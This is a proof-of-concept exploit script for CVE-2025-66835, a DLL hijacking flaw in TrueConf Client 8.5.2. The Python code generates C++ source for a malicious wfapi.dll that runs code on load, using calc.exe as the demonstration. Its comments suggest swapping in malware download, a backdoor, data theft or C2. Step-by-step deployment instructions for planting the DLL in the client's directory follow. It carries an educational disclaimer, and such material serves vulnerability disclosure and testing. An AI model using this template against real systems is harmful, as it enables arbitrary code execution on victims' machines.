CVE-2025-66835 TrueConf Client 8.5.2 DLL劫持漏洞

#!/usr/bin/env python3 # CVE-2025-66835 DLL Hijacking PoC for TrueConf Client 8.5.2 # Target DLL: wfapi.dll # This PoC generates a malicious DLL that will be loaded by TrueConf Client import ctypes import struct import os def create_malicious_dll(output_path='wfapi.dll'): """ Generate a malicious DLL for DLL hijacking demonstration. This DLL creates a log file when loaded by the vulnerable application. """ # DLL export functions - minimal implementation dll_template = ''' // wfapi.dll - Malicious DLL for CVE-2025-66835 // Target: TrueConf Client 8.5.2 #include <windows.h> #include <fstream> #include <string> void WriteLog(const char* message) { std::ofstream logFile("c:\\\\temp\\\\cve-2025-66835.log", std::ios::app); if (logFile.is_open()) { logFile << message << std::endl; logFile.close(); } } // DLL entry point BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { WriteLog("[CVE-2025-66835] Malicious DLL loaded by TrueConf Client"); WriteLog("[CVE-2025-66835] Arbitrary code execution successful"); // Example: Execute calc.exe as demonstration system("calc.exe"); // In real attack, this could be: // - Download and execute malware // - Create backdoor // - Exfiltrate sensitive data // - Establish C2 connection } return TRUE; } // Exported function (required by TrueConf Client) extern "C" __declspec(dllexport) void wfapi_init() { WriteLog("[CVE-2025-66835] wfapi_init called"); } ''' # Note: This PoC requires compilation with a C++ compiler # Example compilation: g++ -shared -o wfapi.dll wfapi.cpp with open('wfapi_dll_source.cpp', 'w') as f: f.write(dll_template) print(f"[+] DLL source code written to wfapi_dll_source.cpp") print(f"[+] Compile with: g++ -shared -o wfapi.dll wfapi_dll_source.cpp -static") print(f"[+] Place the compiled wfapi.dll in TrueConf Client directory") print(f"[+] When TrueConf Client starts, the malicious DLL will be loaded") def deploy_exploit(): """ Simulate deployment steps for the exploit """ steps = [ "1. Compile the malicious wfapi.dll using MinGW or Visual Studio", "2. Copy wfapi.dll to TrueConf Client installation directory", " Typically: C:\\\\Program Files\\\\TrueConf\\\\Client\\\\", " Or place in a directory in system PATH", "3. Wait for user to launch TrueConf Client", "4. Upon application startup, wfapi.dll is loaded", "5. Malicious code executes with same privileges as TrueConf Client" ] print("\n[*] Exploit Deployment Steps:") for step in steps: print(f" {step}") if __name__ == '__main__': print("="*60) print("CVE-2025-66835 DLL Hijacking PoC Generator") print("Target: TrueConf Client 8.5.2") print("="*60) create_malicious_dll() deploy_exploit() print("\n[!] Disclaimer: This PoC is for educational and authorized testing only")